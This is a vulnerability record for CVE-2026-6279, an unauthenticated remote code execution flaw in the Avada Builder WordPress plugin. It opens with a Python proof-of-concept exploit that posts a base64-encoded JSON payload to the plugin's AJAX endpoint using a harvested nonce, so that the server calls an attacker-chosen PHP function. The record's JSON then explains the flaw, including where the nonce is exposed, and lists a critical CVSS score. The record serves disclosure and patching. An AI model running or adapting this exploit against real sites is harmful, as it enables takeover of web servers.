CVE-2026-6279

import requests import base64 import json target_url = "http://target.com/wp-admin/admin-ajax.php" # 1. Extract 'fusion_load_nonce' from page source containing specific shortcodes nonce = "EXTRACTED_NONCE_VALUE" # 2. Construct malicious payload (e.g., executing phpinfo) payload = { "wp_conditional_tags": "phpinfo" } encoded_data = base64.b64encode(json.dumps(payload).encode()).decode() # 3. Send exploit request data = { "action": "fusion_get_widget_markup", "fusion_load_nonce": nonce, "data": encoded_data } response = requests.post(target_url, data=data) print("Status:", response.status_code) print("Response:", response.text)

{"cve": {"id": "CVE-2026-6279", "sourceIdentifier": "[email protected]", "published": "2026-05-21T05:16:23.770", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Avada Builder (fusion-builder) plugin for WordPress is vulnerable to Unauthenticated Remote Code Execution via PHP Function Injection in versions up to and including 3.15.2. This is due to the `wp_conditional_tags` case in `Fusion_Builder_Conditional_Render_Helper::get_value()` passing attacker-controlled values from a base64-decoded JSON blob directly to `call_user_func()` without any allowlist validation. This is exploitable by unauthenticated attackers through the `fusion_get_widget_markup` AJAX endpoint, which is registered for non-privileged (unauthenticated) users via `wp_ajax_nopriv_fusion_get_widget_markup`. The endpoint is protected only by a nonce (`fusion_load_nonce`), but this nonce is generated for user ID 0 and is deterministically exposed in the JavaScript output of any public-facing page containing a Post Cards (`[fusion_post_cards]`) or Table of Contents (`[fusion_table_of_contents]`) element. This makes it possible for unauthenticated attackers to execute arbitrary code on affected sites."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "references": [{"url": "https://avada.com/documentation/avada-changelog/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/class-fusion-builder.php#L7551", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1083", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1531", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/shortcodes/fusion-widget.php#L389", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/shortcodes/fusion-widget.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/trunk/inc/class-fusion-builder.php#L7551", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/trunk/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1083", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/trunk/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1531", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/trunk/shortcodes/fusion-widget.php#L389", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fusion-builder/trunk/shortcodes/fusion-widget.php#L44", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5dc72d78-d47c-4b36-8d69-8672e15ddf8c?source=cve", "source": "[email protected]"}]}}